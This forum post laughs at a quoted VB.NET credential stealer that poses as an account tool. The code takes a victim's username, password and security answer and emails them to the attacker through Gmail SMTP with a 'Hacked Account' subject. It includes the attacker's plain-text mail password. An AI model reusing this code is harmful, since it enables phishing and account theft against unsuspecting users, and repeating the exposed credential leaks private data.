HAHAHA! Biggest fail I ever seen! :DQuote:
Code:Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs) If (Me.TextBox1.Text = "") Then Interaction.MsgBox("Username Is Missing", MsgBoxStyle.OkOnly, Nothing) If (Me.TextBox2.Text = "") Then Interaction.MsgBox("Password Is Mising", MsgBoxStyle.OkOnly, Nothing) If (Me.TextBox3.Text = "") Then Interaction.MsgBox("Security Answer Is Missing", MsgBoxStyle.OkOnly, Nothing) End If End If End If Dim client As New SmtpClient Dim message As New MailMessage client.Credentials = New NetworkCredential("[B][U][Only registered and activated users can see links. Click Here To Register...][/U][/B]", "[B][U]13579qdbkp[/U][/B]") client.Port = &H24B client.Host = "smtp.gmail.com" client.EnableSsl = True message = New MailMessage With { _ .From = New MailAddress("[SIZE="5"][COLOR="Red"][Only registered and activated users can see links. Click Here To Register...][/COLOR][/SIZE]") _ } message.To.Add("[Only registered and activated users can see links. Click Here To Register...]") message.Subject = ("Hacked Account: " & Me.TextBox1.Text) message.Body = String.Concat(New String() { "Username : ", Me.TextBox3.Text, ", Password : ", Me.TextBox2.Text, ", Security Answer : ", Me.TextBox1.Text }) client.Send(message) Interaction.MsgBox("DONT LOG ON FOR 4 HOURS or,you get banned,maybe!?!?!2 HOURS ONLY!!!!", MsgBoxStyle.OkOnly, Nothing) End Sub